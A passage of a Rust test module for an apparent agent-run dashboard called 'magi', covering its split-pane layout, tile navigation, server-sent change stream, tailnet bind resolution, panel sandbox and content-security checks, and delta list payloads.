21220    fn run_rows_put_the_title_alone_on_the_first_line() {
21221        assert!(
21222            APP_CSS.contains(
21223                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21224            )
21225        );
21226        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21227        assert!(APP_JS.contains("class: \"card run-card\""));
21228        assert!(APP_JS.contains("class: \"repo run-id\""));
21229    }
21230
21231    /// Wide screens get a master/detail layout built from the views a phone
21232    /// drills into. These are string assertions: they pin the contract between
21233    /// the three assets, not how it looks.
21234    #[test]
21235    fn wide_screens_show_list_and_preview_side_by_side() {
21236        // One breakpoint, spelled the same in the script and the stylesheet.
21237        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21238        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21239        assert!(APP_CSS.contains("main[data-split]"));
21240        assert!(APP_CSS.contains("body[data-split]"));
21241
21242        // The route -> panes table, and a narrow screen opting out of it.
21243        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21244        assert!(
21245            APP_JS.contains(
21246                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21247            )
21248        );
21249        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21250        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21251        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21252
21253        // Selection is derived from the route, and only ever paints a row.
21254        assert!(APP_JS.contains("function markSelected() {"));
21255        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21256        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21257        // The dense row must override the stacked card the 720px block sets up.
21258        assert!(
21259            APP_CSS.contains(
21260                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21261            )
21262        );
21263
21264        // Independent scrolling: the page stops scrolling, each pane does.
21265        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21266        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21267        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21268        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21269
21270        // A refresh must never navigate: the loaders still check that their
21271        // subject is the one on screen, and crossing the breakpoint only
21272        // re-reads the hash.
21273        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21274        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21275        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21276        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21277
21278        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21279        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21280    }
21281
21282    #[test]
21283    fn panel_sandbox_carries_exactly_popups() {
21284        let needle = "sandbox: \"";
21285        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21286        assert_eq!(
21287            matches.len(),
21288            1,
21289            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21290        );
21291        let start = matches[0].0 + needle.len();
21292        let end = APP_JS[start..]
21293            .find('"')
21294            .expect("sandbox attribute value must be terminated by a closing quote");
21295        let val = &APP_JS[start..start + end];
21296        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21297        let expected: std::collections::BTreeSet<&str> =
21298            ["allow-popups", "allow-popups-to-escape-sandbox"]
21299                .into_iter()
21300                .collect();
21301        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21302        assert!(
21303            !tokens.contains("allow-scripts"),
21304            "allow-scripts must never be present in sandbox"
21305        );
21306        assert!(
21307            !tokens.contains("allow-same-origin"),
21308            "allow-same-origin must never be present in sandbox"
21309        );
21310    }
21311
21312    #[test]
21313    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21314        // consumeQueueFocus() clears an active Backlog search before it can
21315        // scroll to the target card (the sections list is hidden while a
21316        // search is showing), by recursing back into renderQueue(). The
21317        // fixer's first cut nulled state.queueFocus before that recursive
21318        // call, so the second pass saw nothing to jump to and the jump was
21319        // silently dropped whenever a notification's link was opened with a
21320        // stale search still active. state.queueFocus must only be cleared
21321        // right before jumpToTask() actually runs.
21322        assert!(
21323            APP_JS.contains(
21324                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21325            ),
21326            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21327             recursive renderQueue() call has nothing left to jump to"
21328        );
21329        assert!(
21330            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21331            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21332             arrives later still gets it"
21333        );
21334        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21335        assert!(APP_JS.contains("is not in the current Backlog."));
21336        assert!(APP_JS.contains("li.card[data-task-id=\""));
21337        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21338        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21339        assert!(APP_CSS.contains(".card-permalink"));
21340        assert!(APP_CSS.contains(".queue-focus-status"));
21341        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21342    }
21343
21344    #[test]
21345    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21346        // The task's own repro: only the link text inside .notice-meta was
21347        // clickable, so a tap on the message, the timestamp, or the card's
21348        // padding did nothing - on a phone that reads as "the card doesn't
21349        // work" even though the tiny link inside it did. Mark read / Dismiss
21350        // must keep working independently of this: `.closest("a, button")`
21351        // is what lets a tap that actually lands on those elements fall
21352        // through instead of being hijacked into a navigation.
21353        assert!(
21354            APP_JS.contains(
21355                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21356            ),
21357            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21358        );
21359    }
21360
21361    #[test]
21362    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21363        assert!(
21364            APP_JS.contains("round.verified_head !== round.head"),
21365            "a round that verified an earlier commit must be visibly distinct from one that \
21366             verified the head reviewers are looking at now"
21367        );
21368        assert!(
21369            APP_JS.contains("round.verified_at"),
21370            "when a check ran must be on the wire, not just which commit"
21371        );
21372        assert!(
21373            APP_JS.contains("resource_blocked"),
21374            "a command magi never got to run (shared build cache contention) must not render \
21375             the same as a command that ran and failed"
21376        );
21377    }
21378
21379    #[test]
21380    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21381        // Every KPI tile but Total runs and Completion names an exact
21382        // RunStatus and hands it to openRunsFiltered(), which is what wires
21383        // the click into state.runsFilter.status (matchesFilter's own
21384        // status check) rather than the coarser runsStateFilter chips. Each
21385        // status literal here must be one of the strings runSection() (and
21386        // isStale()) actually compare a run's own `status` field against -
21387        // a status this dashboard invented would filter to nothing.
21388        assert!(
21389            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21390            "every KPI tile built through statusTile() must route its click through \
21391             openRunsFiltered, the single place that sets the Runs filter"
21392        );
21393        for (label, status) in [
21394            ("Merged", "merged"),
21395            ("Ready", "ready"),
21396            ("Blocked", "blocked"),
21397            ("Stalled", "stalled"),
21398        ] {
21399            let call = format!("statusTile(\"{label}\", t.{status}, ");
21400            assert!(
21401                APP_JS.contains(&call),
21402                "expected the {label} KPI tile built via {call}..."
21403            );
21404            assert!(
21405                APP_JS.contains(&format!("status === \"{status}\"")),
21406                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21407                 compare a run against, not one invented only for the stats tile"
21408            );
21409        }
21410        assert!(
21411            APP_JS.contains("function openRunsFiltered(status)"),
21412            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21413        );
21414        assert!(
21415            APP_JS.contains(
21416                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21417            ),
21418            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21419        );
21420        // applyRoute() only flips which view is visible for a plain `#runs`
21421        // hash - it does not itself redraw the list (see applyRoute's own
21422        // handling below) - so openRunsFiltered must call renderRuns()
21423        // itself, and must call applyRoute() too so the view flips even
21424        // when the hash string doesn't change (the operator may already be
21425        // on the Runs view when a tile is tapped, which fires no
21426        // hashchange event at all).
21427        assert!(
21428            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21429            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21430             hashchange event that may never fire"
21431        );
21432    }
21433
21434    #[test]
21435    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21436        // A stats tile can leave state.runsFilter.status set to something
21437        // done-by-construction (e.g. "merged") - picking "Active" afterward
21438        // must drop it the same way an incompatible tree section is already
21439        // dropped, or the Runs list renders permanently empty with no way
21440        // for the operator to tell why.
21441        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21442        assert!(
21443            APP_JS.contains(
21444                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21445            ),
21446            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21447             guard for an incompatible tree section"
21448        );
21449    }
21450
21451    #[test]
21452    fn every_stats_queue_tile_names_a_real_queue_section() {
21453        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21454        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21455        // (consumeQueueSectionFocus finds no matching <details> and drops
21456        // the focus) rather than fail loudly, so pin every key against the
21457        // section list it has to resolve against.
21458        assert!(
21459            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21460            "every queue tile built through sectionTile() must route its click through \
21461             openQueueSectionFocus"
21462        );
21463        for key in ["upnext", "running", "done", "held", "blocked"] {
21464            assert!(
21465                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21466                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21467            );
21468        }
21469        // Queued and Failed intentionally both resolve to "upnext" - the
21470        // same section queueSection() itself files them under - rather than
21471        // getting a section each.
21472        for line in [
21473            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21474            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21475            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21476            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21477            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21478            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21479        ] {
21480            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21481        }
21482    }
21483
21484    #[test]
21485    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21486        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21487        // above for the section-focus channel a stats queue tile drives:
21488        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21489        // through the stale-search-clear recursion into renderQueue(), and
21490        // clear it only once revealQueueSection() is actually about to run -
21491        // the same trap that once silently dropped a task-focus jump.
21492        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21493        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21494        assert!(APP_JS.contains("function revealQueueSection(details)"));
21495        assert!(
21496            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21497            "renderQueue() must consume both focus channels on every pass"
21498        );
21499        assert!(
21500            APP_JS.contains(
21501                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21502            ),
21503            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21504             the recursive renderQueue() call has nothing left to reveal"
21505        );
21506        assert!(
21507            APP_JS.contains(
21508                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21509            ),
21510            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21511        );
21512        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21513        // task-focus form of the hash - a plain `#queue` navigation only
21514        // flips which view is visible. openQueueSectionFocus() must
21515        // therefore call renderQueue() itself, and applyRoute() too so the
21516        // view flips even when the hash doesn't change (the Backlog may
21517        // already be open when a tile is tapped, firing no hashchange
21518        // event at all).
21519        assert!(
21520            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21521            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21522             hashchange event that may never fire"
21523        );
21524    }
21525
21526    #[tokio::test]
21527    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21528        let f = Fixture::start().await;
21529
21530        let mut socket = tokio::net::TcpStream::connect(f.addr)
21531            .await
21532            .expect("connect");
21533        socket
21534            .write_all(
21535                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21536            )
21537            .await
21538            .expect("write request");
21539
21540        // Read until the first event arrives rather than to end of stream: the
21541        // stream is endless by design, which is the point of the route.
21542        let mut seen = String::new();
21543        let mut buf = [0u8; 1024];
21544        while !seen.contains("event: change") {
21545            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21546                .await
21547                .expect("the stream must speak within five seconds")
21548                .expect("read");
21549            assert!(read > 0, "the server closed the change stream: {seen}");
21550            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21551        }
21552
21553        assert!(
21554            seen.to_lowercase()
21555                .contains("content-type: text/event-stream"),
21556            "the browser only reconnects automatically for a real SSE stream: {seen}"
21557        );
21558        let data = seen
21559            .lines()
21560            .find_map(|l| l.strip_prefix("data:"))
21561            .expect("a data line");
21562        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21563        assert!(
21564            payload["queue_rev"].is_u64()
21565                && payload["runs_rev"].is_u64()
21566                && payload["questions_rev"].is_u64()
21567                && payload["talks_rev"].is_u64()
21568                && payload["notifications_rev"].is_u64()
21569                && payload["loop_rev"].is_u64(),
21570            "the client needs one revision per store to know what to refetch, \
21571             and `talks_rev` is the only notification a standing talk gets - a \
21572             phone whose radio slept through a turn learns about it here, as \
21573             does one whose operator started the loop from another device: \
21574             {payload}"
21575        );
21576
21577        // The front end re-polls health on a timer and on wake, and takes the
21578        // revisions from that answer whenever the stream is not up. So health
21579        // has to carry every key the stream carries: a phone on a link that
21580        // will not hold an SSE connection is exactly the phone that must still
21581        // notice a question, and a missing key there is not a 500 but a UI
21582        // that quietly stops updating.
21583        let health = f.get("/api/health").await.json();
21584        for key in [
21585            "queue_rev",
21586            "runs_rev",
21587            "questions_rev",
21588            "talks_rev",
21589            "notifications_rev",
21590            "loop_rev",
21591        ] {
21592            assert!(
21593                health[key].is_u64(),
21594                "health is the change stream's fallback and is missing `{key}`: {health}"
21595            );
21596        }
21597    }
21598
21599    #[tokio::test]
21600    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21601        let f = Fixture::start().await;
21602        let before = f.get("/api/health").await.json()["talks_rev"]
21603            .as_u64()
21604            .expect("talks_rev");
21605
21606        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21607        std::thread::sleep(Duration::from_millis(10));
21608        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21609        on_disk.turns.push(crate::talk::Turn {
21610            sender: None,
21611            breaks: Some(Vec::new()),
21612            messages: Vec::new(),
21613            posted_by: None,
21614            who: crate::talk::Who::Operator,
21615            body: "a new turn".to_owned(),
21616            at: Timestamp::now(),
21617            attachments: Vec::new(),
21618            usage: None,
21619        });
21620        f.talks().put(&mut on_disk).expect("record a turn");
21621
21622        let after = tokio::time::timeout(Duration::from_secs(5), async {
21623            loop {
21624                let revision = f.get("/api/health").await.json()["talks_rev"]
21625                    .as_u64()
21626                    .unwrap();
21627                if revision != before {
21628                    break revision;
21629                }
21630                tokio::time::sleep(Duration::from_millis(50)).await;
21631            }
21632        })
21633        .await
21634        .expect("shared monitor observes external turn");
21635        assert_ne!(
21636            before, after,
21637            "a phone must be able to notice a talk's reply without polling every store"
21638        );
21639    }
21640
21641    #[test]
21642    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21643        // The CLI shows the default in `--help` and parses whatever comes
21644        // back, so the two directions have to agree or `--bind auto` breaks
21645        // the moment someone copies the help text.
21646        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21647            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21648        }
21649        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21650        assert!("everywhere".parse::<Bind>().is_err());
21651    }
21652
21653    #[test]
21654    fn an_explicit_bind_address_is_taken_verbatim() {
21655        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21656
21657        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21658
21659        assert_eq!(addr, asked);
21660        assert!(
21661            warning.is_none(),
21662            "an operator who named an address gets no lecture"
21663        );
21664    }
21665
21666    #[test]
21667    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21668        let (addr, warning) = resolve_bind(&Bind::Auto);
21669
21670        // This has to hold on a CI runner with no `tailscale` and on a dev box
21671        // with one, so the invariant asserted is the one shared by both
21672        // outcomes: the address is either a real tailnet address offered
21673        // without comment, or loopback with an explanation. What must never
21674        // happen is a silent fallback - an operator told "listening on
21675        // 127.0.0.1" with no reason would go looking for a firewall.
21676        match addr {
21677            IpAddr::V4(ip) if is_tailnet(&ip) => {
21678                assert!(warning.is_none(), "a tailnet address needs no warning");
21679            }
21680            other => {
21681                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21682                let warning = warning.expect("a fallback has to explain itself");
21683                assert!(
21684                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21685                    "the warning says what happened and what it costs: {warning}"
21686                );
21687            }
21688        }
21689    }
21690
21691    #[test]
21692    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21693        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21694        // boundary cases are what stop us binding to some other tool's idea of
21695        // an address.
21696        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21697        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21698        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21699        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21700        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21701    }
21702
21703    #[test]
21704    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21705        let ids = vec![
21706            "20260902-140501-aaaa".to_owned(),
21707            "20260902-140502-aabb".to_owned(),
21708        ];
21709
21710        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21711        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21712        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21713
21714        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21715        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21716        assert_eq!(short, "20260902-140502-aabb");
21717    }
21718    #[tokio::test]
21719    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21720        // The prompt tells agents to reference attachments by bare filename.
21721        // A document served at `.../panel` resolves `shot.png` against its own
21722        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21723        // panel written exactly as instructed showed broken images. Caught by
21724        // looking at a real one in a browser, not by reading the code.
21725        let fx = Fixture::start().await;
21726        let id = panel(
21727            &fx,
21728            "<img src=\"shot.png\">",
21729            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21730        );
21731
21732        // The frame's own URL ends in a filename, so its siblings are reachable.
21733        let doc = fx
21734            .get(&format!("/api/questions/{id}/panel/index.html"))
21735            .await;
21736        assert_eq!(doc.status, 200, "{}", doc.body);
21737        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21738
21739        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21740        assert_eq!(sibling.status, 200, "{}", sibling.body);
21741        assert_eq!(sibling.header("content-type"), Some("image/png"));
21742        assert_eq!(
21743            sibling.header("content-security-policy"),
21744            Some(PANEL_CSP),
21745            "the sibling route must carry the same policy as the asset route"
21746        );
21747
21748        // The original spelling keeps working: HEAD on it is how the front end
21749        // decides whether to mount a frame at all.
21750        assert_eq!(
21751            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21752            200
21753        );
21754    }
21755
21756    #[test]
21757    fn delta_stamps_cover_add_update_remove_and_noop() {
21758        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21759        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21760        let delta = diff_stamps(&before, &after, 42);
21761        assert_eq!(delta.base, 42);
21762        assert_eq!(delta.changed, ["b", "c"]);
21763        assert_eq!(delta.removed, ["a"]);
21764        let same = diff_stamps(&after, &after, 43);
21765        assert!(same.changed.is_empty() && same.removed.is_empty());
21766        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21767        let nanos: Stamps = [("b".into(), (2, 20))].into();
21768        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21769        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21770        assert_eq!(stamps_revision(&Stamps::new()), 0);
21771    }
21772
21773    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21774        std::fs::create_dir_all(home.join("runs")).unwrap();
21775        Arc::new(
21776            Ui::new(
21777                Queue::at(home.join("queue")),
21778                Questions::at(home.join("questions")),
21779                Talks::at(home.join("talks")),
21780                home.join("runs"),
21781                home.to_owned(),
21782                PathBuf::from("/repo/magi"),
21783            )
21784            .with_worktrees_root(home.join("wt")),
21785        )
21786    }
21787
21788    #[test]
21789    fn monitor_scan_isolates_store_failures_and_recovers() {
21790        let home = TempDir::new().unwrap();
21791        let ui = delta_test_ui(home.path());
21792        std::fs::create_dir_all(ui.questions.root()).unwrap();
21793        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21794        let before = monitor_scan(&ui, None);
21795        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21796        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21797        std::fs::create_dir_all(ui.talks.root()).unwrap();
21798        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21799        let during = monitor_scan(&ui, Some(before.clone()));
21800        assert_eq!(during.0.2, before.0.2);
21801        assert_ne!(during.0.3, before.0.3);
21802        assert!(during.1[2].contains_key("new"));
21803        std::fs::remove_file(ui.questions.root()).unwrap();
21804        let after = monitor_scan(&ui, Some(during));
21805        assert_eq!(after.0.2, 0);
21806        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21807        // A failed first scan also permits healthy stores to publish.
21808        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21809        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21810    }
21811
21812    #[tokio::test]
21813    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21814        let home = TempDir::new().unwrap();
21815        let ui = delta_test_ui(home.path());
21816        let mut task = Task::new(
21817            "stream task".into(),
21818            "text".into(),
21819            PathBuf::from("/repo"),
21820            Source::Human,
21821        );
21822        ui.queue.put(&mut task).unwrap();
21823        let response = events(State(ui.clone())).await.into_response();
21824        let mut stream = response.into_body().into_data_stream();
21825        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21826            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21827                .await
21828                .unwrap()
21829                .unwrap()
21830                .unwrap();
21831            let text = String::from_utf8(chunk.to_vec()).unwrap();
21832            let data = text
21833                .lines()
21834                .find_map(|line| {
21835                    line.strip_prefix("data: ")
21836                        .or_else(|| line.strip_prefix("data:"))
21837                })
21838                .unwrap();
21839            serde_json::from_str(data).unwrap()
21840        }
21841        let initial = change(&mut stream).await;
21842        assert!(initial.get("queue_delta").is_none());
21843        task.instruction.push_str(" changed");
21844        ui.queue.put(&mut task).unwrap();
21845        let updated = change(&mut stream).await;
21846        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21847        assert_eq!(
21848            updated["queue_delta"]["changed"],
21849            serde_json::json!([task.id])
21850        );
21851        assert_eq!(
21852            updated["queue_rev"].as_u64(),
21853            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21854        );
21855        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21856        let removed = change(&mut stream).await;
21857        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21858        assert_eq!(
21859            removed["queue_delta"]["removed"],
21860            serde_json::json!([task.id])
21861        );
21862    }
21863
21864    #[tokio::test]
21865    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21866        let home = TempDir::new().unwrap();
21867        let ui = delta_test_ui(home.path());
21868        let queue = ui.queue.clone();
21869        let query = |ids: Option<&str>| {
21870            Query(ListQuery {
21871                limit: Some(2),
21872                ids: ids.map(str::to_owned),
21873            })
21874        };
21875        let mut root = Task::new(
21876            "root".into(),
21877            "instruction".into(),
21878            PathBuf::from("/repo"),
21879            Source::Human,
21880        );
21881        queue.put(&mut root).unwrap();
21882        let mut blocked = Task::new(
21883            "blocked".into(),
21884            "instruction".into(),
21885            PathBuf::from("/repo"),
21886            Source::Human,
21887        );
21888        blocked.block(vec![root.id.clone()], None);
21889        queue.put(&mut blocked).unwrap();
21890        let whole =
21891            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21892                .unwrap();
21893        let subset = serde_json::to_value(
21894            queue_list(State(ui.clone()), query(Some(&root.id)))
21895                .await
21896                .unwrap()
21897                .0,
21898        )
21899        .unwrap();
21900        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21901        let blockers = serde_json::to_value(
21902            queue_list(State(ui.clone()), query(Some("")))
21903                .await
21904                .unwrap()
21905                .0,
21906        )
21907        .unwrap();
21908        assert_eq!(blockers.as_array().unwrap().len(), 1);
21909        assert_eq!(blockers[0]["id"], blocked.id);
21910        assert_eq!(
21911            blockers[0]["waits_on"],
21912            whole
21913                .as_array()
21914                .unwrap()
21915                .iter()
21916                .find(|row| row["id"] == blocked.id)
21917                .unwrap()["waits_on"]
21918        );
21919
21920        for id in [
21921            "20260902-140501-aaaa",
21922            "20260902-140502-bbbb",
21923            "20260902-140503-cccc",
21924        ] {
21925            write_run(&ui.runs, id, RunStatus::Merged);
21926        }
21927        let old = serde_json::to_value(
21928            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21929                .await
21930                .unwrap()
21931                .0,
21932        )
21933        .unwrap();
21934        assert!(
21935            old.as_array().unwrap().is_empty(),
21936            "older updates must not enter the window"
21937        );
21938        let newest = serde_json::to_value(
21939            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21940                .await
21941                .unwrap()
21942                .0,
21943        )
21944        .unwrap();
21945        assert_eq!(newest.as_array().unwrap().len(), 1);
21946        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21947
21948        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21949        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21950        let talks = serde_json::to_value(
21951            talks_list(
21952                State(ui.clone()),
21953                query(Some("20260905-000000-d4e5")),
21954                header::HeaderMap::new(),
21955            )
21956            .await
21957            .unwrap()
21958            .0,
21959        )
21960        .unwrap();
21961        assert_eq!(talks.as_array().unwrap().len(), 1);
21962        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21963        assert_eq!(
21964            serde_json::to_value(
21965                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21966                    .await
21967                    .unwrap()
21968                    .0
21969            )
21970            .unwrap(),
21971            serde_json::json!([])
21972        );
21973    }
21974
21975    #[tokio::test]
21976    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21977    async fn delta_payload_benchmark() {
21978        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21979        let ui = delta_test_ui(&home);
21980        let query = |ids: Option<String>| {
21981            Query(ListQuery {
21982                limit: Some(50),
21983                ids,
21984            })
21985        };
21986        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21987        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21988        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21989            .await
21990            .unwrap()
21991            .0;
21992        let queue_id = queue
21993            .iter()
21994            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21995            .unwrap_or(&queue[0])
21996            .task
21997            .id
21998            .clone();
21999        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22000            .await
22001            .unwrap()
22002            .0;
22003        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22004            .await
22005            .unwrap()
22006            .0;
22007        let talks_delta = talks_list(
22008            State(ui.clone()),
22009            query(Some(talks[0].id.clone())),
22010            header::HeaderMap::new(),
22011        )
22012        .await
22013        .unwrap()
22014        .0;
22015        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22016        eprintln!(
22017            "DELTA_PAYLOAD {}",
22018            serde_json::json!({
22019                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
